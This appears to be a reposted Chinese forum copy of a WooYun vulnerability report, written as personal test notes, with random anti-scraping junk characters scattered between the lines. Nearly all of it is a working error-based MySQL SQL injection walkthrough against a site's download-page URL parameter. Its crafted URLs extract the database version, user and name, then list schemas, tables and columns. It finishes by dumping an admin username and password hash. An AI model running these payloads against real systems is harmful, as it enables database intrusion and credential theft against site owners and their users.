http://www.wooyun.org/bugs/wooyun-2010-01666
1 _8 V- ?* Z: o+ C& u
9 G* Q8 }! v/ a" ]+ W% L9 G S之前想找个测试 没想到这有 可以测试下做个记录而已
7 ^( p* l* H( }( X7 w7 f+ u; \# ~/ | T1 L/ q4 t; I
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
2 h3 L. h3 x: i7 a% c
6 ~( W R4 g) a$ f/data0/htdocs/leqi_new/app/myapp.php
5 z! u! z6 t0 e# S u. S. a8 O1 N+ |: b
或者
3 ^2 ~/ W6 }: G. F: u8 l a! y A. ~9 e, K1 a4 }/ ~
/**********version()**********/ 5.1.49-log1 C( X: s% S. K9 x! `
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
9 V0 r3 i9 f [
9 z) J- @) J; U# {* w/**********user()**********/
" L8 o4 T! H" R5 f( e: khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
% W- I% N; v9 w' Q, a+ i4 Q) S1 v& ?" Y4 o
/**********database()**********/ leqi
% A+ k$ o* l. phttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003- C- n2 C0 s2 I7 C4 U. y: f9 h
: b- M' F y6 O( Z
/**********limit依次递归爆库**********/
( m, w0 E/ w* ehttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003" p1 M( s2 w, `6 P
information_schema
6 y4 U! @' b. w. {% yhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0037 x) C/ [, ]: n: D# t" G
leqi/ a# P1 k0 {6 J! W! g' H
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
. s1 N+ ] V G( u9 ztest( O, H$ X6 W2 H
5 ^$ g# m. G& C" e
/**********limit依次递归爆表名**********/% [6 h" k) P. J9 K: F7 y
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
. M+ I" z& ^. E% D$ O* z0 W. ~8 vusers( C) l, v, i4 I6 f+ O# y; c8 K
6 l5 L& }7 h$ Q$ l/**********limit依次递归爆字段名**********/
* l+ m) U' B b2 C! P4 Ahttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
- D$ {9 s$ T; t7 d7 R5 }$ w7 g1 ruser_id,username,nickname,passwd,group_id: t+ @7 x4 g! o" ~/ `, O2 G
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
/ }' J' x! N& x: n7 R- Z/wapc/5000_0005_0031 f# ~$ M' e, A
11 21
! ~8 Q/ ~' c9 R1 _' ~% Khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
2 {" g- ~4 R. x% f$ V/ X/wapc/5000_0005_003
! t+ S( Y7 n! c( G11 341 351 3615 a T' |+ @6 n; K; a
/**********爆数据**********/7 u0 N8 R1 y5 s" F& G
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%238 j* N" o6 V' W* |- s
admin
/ R( M6 k$ |* ~) H" xhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
" Q9 C3 B2 O/ x+ ^( N6a8b4574ca231eb8bd52764d4978ffcd& M2 e2 J+ I# G
' w0 C2 P4 p1 o: X
! j# p- X4 A# B3 v0 A |